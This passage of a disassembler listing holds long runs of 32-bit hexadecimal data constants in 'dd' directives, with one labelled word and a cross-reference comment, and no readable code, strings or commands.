dd 5D07F671h, 5844A2DCh, 0A6EA9210h, 0ABE624A9h, 0CEC10094h
dd 44D1A3B5h, 805F5C00h, 39DC5773h, 0C0E0E89Bh, 1BA08608h
dd 0C90ECDBBh, 80C6F025h, 0BDB50F14h, 0C1FA1F11h, 0DBEC0FD7h
dd 0F7EDD980h, 91E20C6h, 0B20EC3CEh, 10158C95h, 0C12A00D6h
dd 0B01210B4h, 200F08DCh, 20CBE4A8h, 0DDBCC7F4h, 0CAF700BAh
dd 0C6F2071Bh, 0CCF8BB25h, 0D80B290Fh, 3DDB0EC5h, 0D6DA3031h
dd 0C4E5F9DDh, 1CF0BAECh, 0C3ED14CFh, 0D1EE2D07h, 64883A82h
dd 83DFF504h, 9AC3524Ch, 0EBE3CEE3h, 2170E6C3h, 0FF5A7200h
dd 0A0B77068h, 0FE09CD61h, 5A09E421h, 87DFFC39h, 0D4773A3Fh
dd 0DCE008C0h, 6FA200A8h, 0F6818FBFh, 543BF133h, 799930B2h
dd 326CABBh, 3D00C0Eh, 8DE1436h, 2054B830h, 26F2D5h, 6C70BDD2h
dd 57080A25h, 5CFE6601h, 0BB4FB8E0h, 39BC5898h, 8819208Eh
dd 0E5C99B34h, 5A080C18h, 0C42068F5h, 3A240F8h, 1751225Ah
dd 0FEFCC4h, 0F43C3F51h, 4C319537h, 75F629F7h, 0C278C4h
dd 0CFF6634h, 0D99C01ACh, 98B30A00h, 0E85FBAC0h, 5738C1DCh
dd 0A3DDB5EBh, 707880D1h, 13BB003Eh, 517DCA93h, 0B8140B9Ah
dd 7D8C963h, 0AE6C19E0h, 80B71D48h, 22E2EA97h, 0E9E89C07h
dd 0F487A200h, 9FFFBF64h, 6C3318E5h, 1B7B31AFh, 0AA34EF00h
dd 0ABDB2BB1h, 3FE30C47h, 2CC0E2F4h, 0A517940Fh, 0AAA20EA6h
dd 0D981889Dh, 567306E7h, 0FABB3C40h, 0DB2D03DDh, 0A3D496D5h
dd 21BE0830h, 0FAB2E2h, 21AF0EFBh, 983E5A9Eh, 6031B309h
dd 191402C2h, 0EBC88176h, 8050B1B0h, 0ABF3218Eh, 8CBEE1BCh
dd 0AC6C9C51h, 13965980h, 0D7B152E3h, 16816100h, 0A017F55Fh
dd 94C030DBh, 5D8C9B49h, 0C8CACB30h, 3E4C7C19h, 78483A1Ah
dd 2530E6EDh, 8B7FE1h, 887A2E42h, 99FF8C2Ch, 3EE2B106h
dd 1279B81Ah, 413669BAh, 0F02FE4B4h, 9B0C25FDh, 0C0091F21h
dd 5ABF63h, 9233ECD7h, 7DA3CC17h, 0C1D01014h, 0BF6B0690h
dd 20D59Eh, 0AECEB4F1h, 0C07C307Dh, 48576780h, 3303500Bh
dd 0FEFD39Bh, 0E76CAAA0h, 4CF8A36Ah, 7E03C1Dh, 0F338CC54h
dd 0D980FCD4h, 27AD5A1Ch, 61206A3Dh, 0BCAB4806h, 0A76C3050h
dd 79C43BA9h, 0DE0E6B0Fh, 76D92703h, 1782A3E0h, 4C7D1857h
dd 24D8D1EBh, 634E6000h, 759137A4h, 0EE0A12F3h, 0E0D04C9Fh
dd 4F6FF0A0h, 0FFD90031h, 1DBCB417h, 4EDC810Eh, 479380D6h
dd 2070E04Ch, 51715E17h, 3F5DAC1Ch, 1034D8F0h, 2EF84035h
dd 0B2D5B301h, 0CFC75D8Dh, 17BC2082h, 5C44FF29h, 7EB518E1h
dd 0CB2D23FAh, 773BC11h, 0FFF8FAACh, 5B779016h, 328BF68h
dd 0C4008CA1h, 0A938B411h, 0E5E89AA2h, 30E66C42h, 0BE0817E1h
dd 6680FEBCh, 7A002132h, 482517E9h, 72F8C1FAh, 0C0AE1EFBh
dd 8C2D0765h, 2C00296Bh, 3D39A14h, 24F0D626h, 3A5465Eh
dd 0C2A0D60Fh, 0AD402358h, 7726C901h, 0A618D80Ch, 0F1D088h
dd 62106926h, 80D73AA4h, 0EAA0FC03h, 18216BBBh, 51949CC9h
dd 2B007470h, 68473802h, 99CEB730h, 18BD7918h, 0F60C0ECCh
dd 19F8283Eh, 38A048F7h, 6E01A256h, 357804BBh, 0E7C8B0EFh
dd 0CCB5019Fh, 6C150966h, 0F48D10B8h, 0AE5B0070h, 13D9BF3Ah
dd 0B601A708h, 3746E75h, 90CEE7CFh, 10FABA50h, 0E0D32DDCh
dd 1DFAB1EDh, 0E8444FDEh, 31EA017Ch, 0ECC6A7FBh, 2A96E866h
dd 490D890h, 9A945D10h, 985FBC04h, 0B7E700E9h, 34E6EB77h
dd 8321BAEAh, 1860847Ch, 0E171AD08h, 0E4EA39FCh, 370CE629h
dd 1BA1C508h, 181D281Ch, 9C48A00Ch, 5AE78093h, 6F70CA15h
dd 1011FE01h, 0A84F5D55h, 4840EC35h, 12AC1A04h, 3349C09h
dd 98BAEB68h, 0FCE64100h, 4CFA49C0h, 76C92EAh, 8396E351h
dd 40CFB0F4h, 5600E408h, 0D7EBD4D3h, 520841Dh, 3EBB839Fh
dd 0C8508916h, 0EB7B133Dh, 0B9CC5C31h, 3424A99Ch, 48803E93h
dd 0CBE5DF80h, 0E3E751CDh, 30E4C000h, 893AB27Eh, 604948E8h
dd 0E48CA7E8h, 5C38099Eh, 0A800EB28h, 0F08D17DCh, 67F874B2h
dd 0AE189A60h, 1608F76Ah, 19B4349h, 9C111298h, 0C1B430D3h
dd 8048092h, 0FA503FBDh, 31A73CD1h, 8CB0F060h, 0C26FC1Ch
dd 804CD27Bh, 426E4DBh, 0B211750Ch, 20A04C84h, 78C31E8h
dd 0C9CB17Fh, 61AE36E6h, 57849001h, 0B3A81BFCh, 0AF80C4h
dd 210C32A1h, 0A2A02EE7h, 0ECD180B1h, 91832119h, 0E287E7A8h
dd 0D6BCC217h, 0F450C531h, 317EA79h, 391219B9h, 0F000C3BCh
dd 85FB8D6Fh, 0B2B2535Ch, 310C0AD0h, 0B9B8CF40h, 0CDD0A12h
dd 6CD9A374h, 28B349h, 9E7B69FDh, 1D6DA6CBh, 478FC5h, 5508EC67h
dd 0C372AE95h, 21D63B09h, 0B31C04C8h, 0D26CB60h, 11280C23h
dd 0F3D60FA0h, 2DE3A026h, 0C3AB2F94h, 0AA0D3EA0h, 131C8150h
dd 43189D67h, 0C7862157h, 28610CB8h, 0A72980B7h, 0E9B6EB3Bh
dd 604C1879h, 0F67B0061h, 0E423DCBFh, 0B202CF73h, 3D776D8Ch
dd 4224E614h, 173E1B6Eh, 20D1E4A1h, 1180BA6Ch, 351E29D8h
dd 0EB0041DFh, 9D490E5Ch, 0F859D6h, 0C7848DF3h, 11BBE909h
dd 0F5E37013h, 42B180Bh, 0BE61778Ch, 0B32DD8FAh, 0E1B0448Ch
dd 9FFAA503h, 0C3E4954h, 47F81699h, 8B5CA206h, 43650766h
dd 2C06E96Eh, 5CB23140h, 9AC13D8h, 19103AE5h, 4850E4F4h
dd 4303A128h, 7B56116Ch, 0E121F0C8h, 0B59E05A3h, 0DBBD2792h
dd 990380DCh, 15E84B17h, 0AC67E0C8h, 882FDC81h, 140832E9h
dd 14ECA173h, 17E617B8h, 0E86694C0h, 0B5242030h, 140FAA73h
dd 69742DE4h, 0C248096h, 110B42h, 71F5BA92h, 7C03FBBh
dd 5694C800h, 2DB6D5CCh, 0C4674D6Ch, 0D02FE406h, 383650EBh
dd 0B148AC94h, 18C8D194h, 6A8B0735h, 50A73E30h, 8DB3D221h
dd 3844384Ah, 88824754h, 26FE30B6h, 0DC0C723Eh, 0E6D9E004h
dd 0FEEA5826h, 27BD0F03h, 0D0400110h, 0AB408F98h, 811E19B4h
dd 61F069FCh, 5E1F100h, 8888C08Eh, 6D2A2BC0h, 61500A8h
dd 631B3A59h, 0E9120477h, 6866A5E4h, 80A5408h, 3EBF1FFEh
dd 946312C4h, 86908C24h, 33755100h, 0D7816C1h, 8C6D1674h
dd 0B7A4051Eh, 0E4CC9119h, 8E9424FAh, 58152024h, 0F414C081h
dd 3438BD24h, 28CFFB8h, 0A692FEFCh, 0A9E0DEC8h, 0BB2C8C2Ch
dd 861C8ADh, 0F2ED47DDh, 8E0C1473h, 4949F0D7h, 83849h
dd 0EBF65AD8h, 244F32h, 1E6C6D31h, 0F4C43D37h, 5B0DA098h
dd 0D814BFE6h, 48BBC864h, 34816466h, 5E3F510h, 81338808h
dd 0DB202FADh, 7A146209h, 0C8A8A08Ch, 74185268h, 9D70F422h
dd 28B45A01h, 0D55B97CCh, 0EA898FD4h, 69130B84h, 348232BCh
dd 28503954h, 0B88004B1h, 0BF7455EFh, 5ADD00CBh, 7664C585h
dd 0BC0156C1h, 267227Fh, 2433153Fh, 0F046523h, 0C1403848h
dd 0D165762Ah, 936A0500h, 0A2F5218Ch, 61C89AB4h, 0F664034h
dd 82A00196h, 42C7C020h, 28F1239Ah, 0BCAD16B0h, 3F7463E6h
dd 0E8672100h, 65DF3017h, 29D2060Bh, 41E94DCFh, 1358D416h
dd 61DBD304h, 0E80DA5C0h, 0EC2E12E0h, 0CFA4044Fh, 401268B6h
dd 50905FE7h, 0EDF63C00h, 0C7F2AD6Ah, 0F5DE2A14h, 0E44D30F0h
dd 1CA24739h, 7DFBCA12h, 699300EBh, 0A14D8B44h, 271C3491h
dd 8875ED10h, 0B089E138h, 0C78A3829h, 904D13B0h, 0A0630DCCh
dd 0CF211501h, 92A3A9BAh, 0CB02E8h, 0F938450Ah, 0C047E48Fh
dd 0E0E37F3Ah, 322FFB60h, 0F45425A1h, 0BCC06C2Dh, 38BA2560h
dd 138C2B68h, 29AB838Dh, 0A2820C8h, 0FABF048Ch, 62BB2DE1h
dd 0B6202F8Bh, 344170FAh, 0D73C8300h, 0A9011F86h, 8D84145Ah
dd 498F9C23h, 5900E8F5h, 0EEC803AFh, 34480D6Fh, 103E8458h
dd 31BA8CE4h, 9C312767h, 4C18092h, 2E15B4CBh, 806D5F20h
dd 0CFC59A9Ch, 0AA48E00h, 14B8F5FBh, 136499EBh, 4CA0904Dh
dd 0CB00A0D3h, 0E542CDFh, 2A3E832Eh, 8098EB8Ch, 96FCE09Ch
dd 0A8B54104h, 7307754h, 0DD8650DCh, 7827B4B0h, 2AC87204h
dd 50ACE67Bh, 785C784Ch, 419200BDh, 0CD33D87Eh, 0D23CAE89h
dd 0E814D888h, 0C70F8C9Ch, 5FC61670h, 0E79489BBh, 0FDA81196h
dd 1709DC18h, 0C506BCB9h, 0E5738BFCh, 2319DA00h, 2F245D54h
dd 0A00404BBh, 54894C4Fh, 0B32BEF8h, 1B4A25E6h, 41C2E886h
dd 228DC909h, 4D3CE059h, 0F4EA06A8h, 0B1AF81C7h, 0C8A09476h
dd 0F100D7A5h, 8AED8AAh, 73FF5129h, 0F7EE0BC1h, 40489CC0h
dd 0D900E3CEh, 5D93A7F6h, 0FB9472h, 3A338DDFh, 8396BCC0h
dd 0F9D19899h, 58009318h, 0DE2DDF26h, 0B6BF283Eh, 29F698D0h
dd 6E000DA8h, 7E185E81h, 0F2014Bh, 7C42BC6Fh, 0DAF02026h
dd 7C2E2424h, 0EC6ECE1Ch, 27AE1DDCh, 0F18DD85Bh, 7F1E9E01h
dd 0BAC06B32h, 0AE067EBFh, 48330921h, 4822448Ah, 4044A4B6h
dd 0EC710EBh, 0FB053EF0h, 0C08F911Fh, 334F2452h, 9D247408h
dd 730C6459h, 0B931A5h, 0BD9FC265h, 3850615Dh, 170905EAh
dd 82725F6Fh, 48354820h, 172B0E1Ch, 1A8F6E7h, 20337087h
dd 284875BCh, 0E816D2F4h, 99ACD002h, 830C41E3h, 7B00F02Ch
dd 4133F68Eh, 321E1751h, 0A840F5EFh, 3464ABDCh, 0BA40C2FEh
dd 28D8575Fh, 2F00CDE8h, 6F6414CAh, 4EC3AD8h, 0B14D7E33h
dd 93C8A58h, 0C9B0BB05h, 0C6FE0AB0h, 808498A8h, 7A2E2548h
dd 0A817183Ah, 272368D9h, 0E997200Eh, 0F3EF80E2h, 4C2CFA05h
dd 0B20106D0h, 0C9ADA55Fh, 0E6C6Dh, 61E92786h, 0EF5051Bh
dd 825D7910h, 3C917A83h, 164E65C8h, 0D67F641Bh, 9A0D910h
dd 9856D5F0h, 29AA0707h, 3086722Fh, 0CCFA69E9h, 71858000h
dd 6E118352h, 0AAF41D20h, 0E0F343C2h, 8EC8379Fh, 0F63E66F5h
dd 175C9696h, 0FF9C34C0h, 0AD5A0FABh, 7842DDCh, 0B164A38Ch
dd 7A0C9B32h, 4154601Fh, 0C1C3225Fh, 0CCA4AFEAh, 7391FB0Ch
dd 0E20BB49h, 5E8049Ch, 0BF800C86h, 2950219h, 0BF6EF47Ch
dd 0F889BD1Fh, 0B8E4D465h, 21DC5B60h, 50490E8h, 497A650Dh
dd 0A45820B3h, 706C912h, 0D0EAF740h, 5B5C2E50h, 408CA251h
dd 39BD771Ah, 850CE44Dh, 0CCC15A0Dh, 0C33B678h, 0A100F222h
dd 67F95A04h, 2811136Dh, 0DFAD688h, 0A36FB0E7h, 55A830D0h
dd 0F3FDA0B0h, 0A7693906h, 1205407h, 0A40EF5F4h, 380409B3h
dd 58492C50h, 5E762940h, 1A677E7h, 32055FDEh, 0CEB1BE24h
dd 0B079D851h, 8297C818h, 583847F1h, 6ECD0568h, 0C22DFB83h
dd 84098EBh, 0F7064813h, 894BB8E6h, 0F4902A8h, 0A17AF4C0h
dd 0F5794C79h, 0D200F618h, 0E61ABF14h, 78A461ACh
db 99h, 1Ch
word_505446 dw 11C4h ; DATA XREF: ___:off_435E08o
dd 7F8F0B8h, 8854A369h, 5D16578Ch, 4C3E9903h, 0C79B3110h
dd 8F105DA8h, 9E0C3ED8h, 0A787620Ch, 0E124AC02h, 80173310h
dd 13C75F4Fh, 0B500147Bh, 5821123Bh, 5CA2A936h, 92E3FCC1h
dd 9C85940h, 0FAB8058Ch, 0E2A32DE2h, 0B797C060h, 710DFFAh
dd 3079FD0Bh, 40E8BB77h, 2701D00Fh, 0EF6A7A67h, 306DEB09h
dd 4B242C24h, 6A8D3807h, 56BE1708h, 655C8938h, 8D088A44h
dd 24B1420h, 0D10277E0h, 183F7168h, 38FAFFh, 4E7C8946h
dd 0AF2F8D54h, 2704E8BCh, 0B4841528h, 1DB274D2h, 0E580BD11h
dd 959CEE1Fh, 234288h, 2467BA7h, 2F8E0481h, 2D3AC8B9h
dd 7CF4A8B9h, 8DB8804Bh, 90956F75h, 0BE14B124h, 56CF4700h
dd 0B3DC8E60h, 4C1CB000h, 647F87BCh, 0E51E2CBFh, 0E4FB0220h
dd 1CC8C44Fh, 700B44Ch, 0FDE1F9CCh, 32A564h, 9D56F7B1h
dd 0E2713C13h, 0A098C201h, 845AF519h, 0A1BC886Ch, 0B983008Ch
dd 5276872h, 0B117104Dh, 0F8C2B83Bh, 0F5B420ADh, 1925EE15h
dd 1D7C291Dh, 9ACD08E4h, 0A6FC6460h, 0F97E03EFh, 0BB3CB038h
dd 0F8F4283Ah, 0E80ACC28h, 0BF215006h, 5888D0Bh, 0F45C629Bh
dd 38AC101Ah, 0F013957Dh, 808C9FC4h, 758C2DACh, 68770B37h
dd 10194BA7h, 8FF18B7h, 0C80C7126h, 0DA40A3C4h, 1A6826E7h
dd 0F33C8506h, 3969D78Dh, 90B05957h, 1F2A7E49h, 20EEC5Ch
dd 87CA60AFh, 9C9460C0h, 0EF6180E8h, 8D5C6CB0h, 0F89430BEh
dd 60D447A2h, 68F420E6h, 0B469EBB7h, 0B01C02A8h, 78590927h
dd 165CC7Bh, 0AE350A3Eh, 0F3B0E02Ch, 0AC142904h, 0E0B8DC39h
dd 73B76902h, 9860E598h, 2AF5EA5Ch, 0B16C2C45h, 27C3C020h
dd 4955005Dh, 0F7D767B0h, 0A61F5831h, 0CF84F8D8h, 548E628Dh
dd 5FC0BF88h, 0BE6DE6h, 0C1CEF589h, 66BA87C0h, 0F19DA899h
dd 4C08E3D2h, 1740CFE4h, 80EEBCB8h, 74C64486h, 7517E401h
dd 58187D3Eh, 1080E47Ch, 213A6F98h, 0E7E63412h, 0A3C880CBh
dd 5CA456C0h, 0C73050Fh, 0E3D1011h, 288972D4h, 642CB010h
dd 5864A495h, 2EE1A0C2h, 0DA2F6887h, 281402F4h, 6859D603h
dd 0FC40F391h, 73048CEAh, 868FE5Ah, 0A7B074BCh, 0E9385A0Ah
dd 8828999Fh, 0C91092F8h, 6C01BEF4h, 6F98730h, 0B069E72Bh
dd 0E0715D30h, 0E47CC43Eh, 0BFFE08C2h, 0BCD07Fh, 1D2FF51Ah
dd 0BD63AA6Ch, 20F47732h, 40505E09h, 97F69027h, 35C8F91Fh
dd 1F09379Ch, 494732Bh, 12E31827h, 67F4F020h, 13BAFE84h
dd 0C8FBAB9Bh, 0D70EF540h, 0AA5310h, 1D4F2193h, 0C44000F4h
dd 0E4F786E1h, 0C9018C96h, 10491477h, 303DB8EAh, 10EBF43Fh
dd 0F841084Ah, 0AC7C09E1h, 490C296h, 11FAB930h, 88AB2DE3h
dd 0B09481B3h, 0D72C40FAh, 1EF06ABFh, 7253E3Ch, 0F01750BBh
dd 2494FCB0h, 0C88498CEh, 0ACF1309Ah, 69CB000Ah, 0D48608F3h
dd 5CEE0C28h, 4F8DA5Dh, 5AAA9FC8h, 0FB998B81h, 0E58870B0h
dd 80BAB026h, 0DD02F246h, 1EBCBA17h, 7603EC67h, 0A0E517E6h
dd 1C5012h, 0EF600232h, 0E009B3ACh, 7012F0BEh, 8BB17808h
dd 0CC4A60BAh, 3B00BC66h, 0FF4F11D1h, 0B004981Fh, 3D4830B0h
dd 0D9FE5329h, 0DF3EF700h, 0EB8F5224h, 2DF00B90h, 50A58AA0h
dd 0B8DC32D6h, 40AC20D1h, 0C5596C21h, 0BB738918h, 0D8100928h
dd 0EF5AC314h, 64F1262Ch, 3A5465Eh, 4870F4E1h, 9F4900CAh
dd 0B71ED6EFh, 1D00A1F9h, 70252D73h, 0EB0E3D4h, 2E1C278Eh
dd 388DD5C2h, 49527844h, 0BAF0018Ch, 9A7927F9h, 0D93AF240h
dd 2B3412DEh, 3354F09Fh, 0B19168B1h, 0B26FD80h, 58A5F80Ch
dd 0A07D412h, 0EAE1FF50h, 0B82CAEAFh, 43529980h, 8996EBAh
dd 2DF71404h, 0EC0358A5h, 673100AAh, 6F3B58C4h, 59008BB1h
dd 5E07F210h, 0D9A576h, 87202FBEh, 0C0A2A74Ah, 142074B0h
dd 60CD03E3h, 0C1BC69F1h, 0C055FA90h, 3156B904h, 0C49A5Dh
dd 9C705EC6h, 0F400DCB4h, 7D8CC153h, 3E19E9h, 0A9C54FFFh
dd 0CE9360C2h, 61904667h, 0B56848B9h, 3C8F00B4h, 6B94CF65h
dd 0C71F03DFh, 239367A6h, 0FF05BCA2h, 930117A2h, 404C6DD8h
dd 0D5F012D4h, 9C22880Ah, 976CAA04h, 7E0048EDh, 0A012EF10h
dd 0BF0065A2h, 33ECDFAEh, 35C39EBh, 0E2BE1830h, 0D0B27E09h
dd 0F067E848h, 58F5AE12h, 0C023703Ah, 13C8D203h, 0A930F969h
dd 966F7884h, 90C0128h, 68BEE020h, 0AECB570Bh, 0BF118C9Fh
dd 0D041FB80h, 6F12AA3Fh, 0D8047F9Eh, 4949EE22h, 0C25EFC90h
dd 43767A00h, 3A19D509h, 0D0234F8Eh, 5834C034h, 2CA0604Dh
dd 14609C2Eh, 26485F37h, 2707D9Ah, 0EC5027BBh, 0C6208E02h
dd 3EFE00ECh, 5530B55Bh, 0E63B147Dh, 3C04CD5h, 0C7FD281h
dd 583CBA31h, 42AD3AC4h, 1795E020h, 7C6BB90h, 635C6265h
dd 343AA86Dh, 0A034B67Ch, 8F6A2B2h, 113D87B9h, 0BB5C8440h
dd 2F91809Ch, 678C3813h, 3420F852h, 20EE30h, 68607CE3h
dd 18039C04h, 0CB32E700h, 0E0C401Dh, 9702E8ABh, 2C823CB5h
dd 60530F4Ah, 9F8020E3h, 62BA3002h, 1148D0E6h, 0D43E2410h
dd 9488A82Bh, 662E0673h, 0BC05B16Ch, 0C0DFAC17h, 284A9491h
dd 19F05061h, 0C841C11Ch, 3C59FA16h, 8CBEBC50h, 830B151Dh
dd 8E21C441h, 586D739Dh, 6B22F100h, 7559B27Ch, 9F968300h
dd 0E13F5420h, 318007E9h, 29DFA768h, 210C8800h, 18903918h
dd 0E8A0C058h, 3E9B4332h, 0B8230073h, 440F362h, 47692E08h
dd 308C82FCh, 0C448C564h, 0ECF4B8BFh, 9CD9E899h, 4701AC18h
dd 873C7277h, 5C6861BAh, 0A81C2085h, 0C7E70658h, 598C81h
dd 48AF106Bh, 0E5C10E24h, 697A6E00h, 0EA415ED4h, 1288B1B9h
dd 2D3CA4E2h, 0CCF77424h, 0B0909C97h, 3BE5891Bh, 0D18078E7h
dd 6037DE69h, 0C058D23Fh, 308BA4ACh, 68C0A688h, 0FE2C2F67h
dd 0C7F73A83h, 0A46BF503h, 0C3A8F404h, 31D2B7BCh, 883FA4E0h
dd 0F500FB19h, 2028135Bh, 95A74596h, 0FE11749Dh, 53376080h
dd 7A0C2372h, 60F413B1h, 5C3112B2h, 6F100235h, 860FBA5h
dd 7E81B323h, 9CBC882Ch, 0B4A6008Ch, 43FFA416h, 75EEC1F7h
dd 8EF2E43Dh, 0C10B088Bh, 304FF5CAh, 6CFE980h, 153D596Dh
dd 6F28119Dh, 31861B0Ch, 0CC193B48h, 8C747DCDh, 4F8E9112h
dd 0F88C2738h, 0FB10C072h, 3A9028F4h, 14C02DB4h, 34E4B0A9h
dd 2F212047h, 224843h, 7DB7B291h, 6A889A30h, 0E4973D02h
dd 0E071BFFEh, 28FC604Ch, 0B886E95h, 13268969h, 0E448AC01h
dd 0E89038A8h, 2A008CF9h, 6723F8BFh, 2C403B2Ch, 0B400988h
dd 6468958Ch, 912617B8h, 2C0258DAh, 81A62F64h, 0D96AAEF0h
dd 232C2E3Fh, 43D000BEh, 2B7ED74Ch, 83E5111Dh, 9F3431CBh
dd 80F31178h, 7158D42h, 94605BB8h, 54F21Ch, 9D8406EBh
dd 0E67D6Fh, 0AA444B14h, 0EA0B53DEh, 0D450AF4Ah, 839E05B4h
dd 90C4A8CFh, 61E40CC2h, 0C81057C0h, 0CE4D8760h, 267C5854h
dd 69879090h, 0E5E673BFh, 0C9181119h, 0BB5708A8h, 0DA4488F6h
dd 2889F42h, 84D62055h, 140081A7h, 300DCF67h, 25476914h
dd 0C810CA93h, 503CC1BDh, 81986C99h, 4E7BB44Ah, 987EE9D8h
dd 3A20B034h, 6E810277h, 2421CB8Bh, 5F141038h, 0E5B101DFh
dd 9F6C2DA8h, 1518209Bh, 69A10E35h, 919C6C81h, 0BE486180h
dd 0F753414Bh, 0D8266F02h, 0C314658Bh, 0FCE08D84h, 3769100Fh
dd 0B70488Dh, 5823B0E0h, 601A13D4h, 0F120F2E3h, 390C9ACCh
dd 9E621102h, 5C73E1F9h, 631806Ch, 2AED92FDh, 6B4E8C00h
dd 0B09CDD29h, 6C3A1C91h
dd 4B93972Ch, 1C641470h, 1BFA5709h, 9C2C83BDh, 0D1F100BEh
dd 0FF674EF3h, 13015ACDh, 2CF2DA04h, 0BFD8270Ch, 0D519001Dh
dd 0BD7CC555h, 0DB00A820h, 22B6A1DAh, 3DFB771h, 0E56F8A0Bh
dd 73B08D1Dh, 0AE007A17h, 29B7807h, 0B3B08Eh, 0D5012214h
dd 98E473EEh, 0D3EF661Ch, 0C0A4CBCFh, 150C2BB1h, 0F2193E24h
dd 472FE400h, 35B2D18Bh, 960DE81Ch, 37EBA905h, 0ED17C480h
dd 957F0061h, 5178C7CCh, 3D001C33h, 0A37C83A7h, 0E2C05982h
dd 0F9AF8D7h, 0F3451518h, 0B1D4980h, 940098B7h, 0C7DA218Eh
dd 29B2FF1h, 3162F6FAh, 0D6E31FF7h, 89A24AD9h, 0C43E30h
dd 4BC87460h, 4C951EF0h, 0A41F4ECAh, 4A21784Eh, 60ECE808h
dd 6A3B2B05h, 3E4E80A8h, 8703A9EDh, 0E37E0044h, 721F53CCh
dd 3701240Ch, 0F4C4048Ch, 0C9F875B0h, 6944002Ch, 0C0980AB1h
dd 0B300D95Eh, 0E460076Fh, 4D9558h, 9CE3B5CCh, 0ECF864EDh
dd 4B744500h, 173D2EB0h, 317301F4h, 7C62C8CDh, 10F851D6h
dd 5A55F470h, 3B9F5C00h, 0DA7292C3h, 49C800CEh, 45C0EAD2h
dd 0EC6EC613h, 3FD96ED9h, 0AD35C440h, 4820802h, 0D8F1F429h
dd 4F249055h, 440332EAh, 0D16D9C05h, 859901B7h, 0DE6B861Bh
dd 96C4C4DBh, 251E3F00h, 0FDE11F01h, 1206002Dh, 36B1D56Eh
dd 0BC00DA6Ch, 0B8CB5A66h, 5855F23Ah, 99004EFAh, 0CA9816BEh
dd 8B00629Bh, 15DC8FE5h, 0FC54AFDh, 3AC8CBBFh, 25A719CFh
dd 4EFE10BBh, 0BC0007CFh, 4F445F9Dh, 9FC80Fh, 8A2B1D48h
dd 0DA73D153h, 4351E100h, 0A08436CEh, 6B941E82h, 3E3523Fh
dd 0D2C72F1Dh, 0D0CA2801h, 0BB14BCA9h, 1FF91DECh, 40427E65h
dd 74528B94h, 9CF86D4Eh, 4DC2C801h, 0F95CDDCAh, 1C9E8C4h
dd 709A7F3Fh, 7001342Fh, 0EB262E6Dh, 73F00DAh, 909F3D04h
dd 0F1FA89C0h, 4F6FE556h, 4960EAF8h, 1E33581Ah, 0A2010B75h
dd 28437C32h, 0ABF3455Dh, 2DF5C00Ch, 0F7EF7E64h, 0A6BDC50h
dd 0BF0700A3h, 0E2B37D44h, 0F8B886E0h, 4E9DED1Eh, 4013656h
dd 1B236337h, 0ECC003Bh, 8A06A13Fh, 9AAB3Fh, 341AEB74h
dd 0FA68830h, 19D39989h, 4BC7DD6Fh, 0A23E41EDh, 0CB77F405h
dd 99FEA892h, 31E19D2Eh, 34A0F100h, 21FD01Bh, 0E6F32AA5h
dd 20414E7Ah, 7808B5h, 1147C6EAh, 5C373A5Bh, 53C3060Fh
dd 0F00F2090h, 1F94824h, 19FAD2E3h, 0C898051Bh, 913833Ch
dd 5309A4B7h, 8AAF019Dh, 0E7700EC5h, 0CC82000Bh, 4320B74Eh
dd 6C00B83Dh, 3953E355h, 78C12FE9h, 54E80034h, 493EF1Ch
dd 0CA007C22h, 5EF868ADh, 29C52Fh, 0BD66FE74h, 0C14252FBh
dd 0DED81D00h, 0B1934396h, 0DC360085h, 0AF38E344h, 409AE067h
dd 0B9C0BD00h, 0FF0B8F7Ch, 763900F7h, 0C9F6DFEBh, 0BA1E8E1Fh
dd 38808CD3h, 735CE9C3h, 98809701h, 50446D0Fh, 0B2183C00h
dd 0F12385B3h, 0EF4700F7h, 9313DE56h, 0D30016F3h, 0C6144224h
dd 797E67F0h, 0D9F800F4h, 0B34F27DCh, 0B97752F1h, 0F969E103h
dd 0D85A394Dh, 3CEB309Bh, 0B680890Ch, 63E3D081h, 9607CDEEh
dd 1BFCE16Bh, 0C86E59D0h, 2ADC00AEh, 6A55A25Bh, 0E20050D1h
dd 26BBC164h, 3A6E9Dh, 0DDEA282Bh, 88D76957h, 9CC64728h
dd 0BBEBE8F1h, 42E12312h, 132C8404h, 800B3093h, 7E1048EEh
dd 0F1FAFAh, 119D15C9h, 49AD5F91h, 0E57B55ECh, 0BB7D9F01h
dd 50E27EF3h, 3F99B1C4h, 0FB3A27CEh, 0B34DE100h, 2AC658B5h
dd 0A86D4F04h, 9C90D7BFh, 1ABD6Eh, 5D23907Bh, 2BC85FA1h
dd 0D299CB00h, 70D59E28h, 757E9845h, 0E6A0724h, 1F079303h
dd 0CC159F41h, 0AB108006h, 0B25109Ch, 5A7D19h, 58F0642Eh
dd 778CE3BBh, 0C7DFDE00h, 5C87B410h, 5BDA00A3h, 1128BEE7h
dd 5100DDD7h, 3C3FACBDh, 0DB29EAh, 0F3CBA113h, 5DD8CA44h
dd 0E7D4EE00h, 864837C8h, 1A263D0Eh, 9381400h, 0DB066C3h
dd 767F6B00h, 9029A75Ch, 0DD7E002Eh, 0EE41F860h, 0F00E666h
dd 57F2B842h, 4BA1640h, 37C5950Dh, 4E1C8828h, 10F57D04h
dd 0D17B87h, 70DC5C67h, 66FD0133h, 1B5B0BE1h, 5ABC3031h
dd 52004EF6h, 0C2F287A7h, 0BBB8E18h, 0C9CCD9Fh, 724FAD80h
dd 371E2D40h, 5A0036FAh, 0B9F3AD51h, 750EE860h, 807927h
dd 91B1E49Dh, 37D7CEE0h, 0C6FC8E16h, 12748600h, 3BF53Fh
dd 0ABFA7234h, 38C565Bh, 54022000h, 0B84D229Fh, 5E8907F3h
dd 0D0AC52FAh, 69A91B35h, 0CF6D5A04h, 0E4F45B10h, 50857A8Ah
dd 6A7ACB1h, 8659DBA0h, 9F0040F9h, 4F509825h, 75F4BBE3h
dd 54520E69h, 44453E4Dh, 348A80A7h, 1500052Bh, 0EFB192Eh
dd 0FD0678Ch, 0C7EC7930h, 0B8DF62C1h, 923BCCD8h, 64CFF80Bh
dd 0BC9C80F4h, 19C880BEh, 1055011Bh, 0D55801AEh, 1FA6219Eh
dd 0FE00F8B3h, 53DDC715h, 7500F332h, 989D21ADh, 0B84B94F0h
dd 0B4D807BFh, 5EE15C57h, 0D440F9E9h, 0FB1F84A6h, 0BCC75BB3h
dd 0A266CA83h, 0F0670458h, 0FD9FE796h, 5300184h, 9475B1E2h
dd 2404FCh, 0BCA3F2E4h, 0C06EFF92h, 68F3B601h, 0E3631B95h
dd 1E670C74h, 832296F5h, 13ABFED6h, 23D5E2A7h, 9C005072h
dd 0AD5B4146h, 2B3E207h, 332840F0h, 0B8C0DD09h, 78014268h
dd 5694CF7Bh, 0FA70AD1Dh, 8DF802B1h, 0B64B403Eh, 0F9D31360h
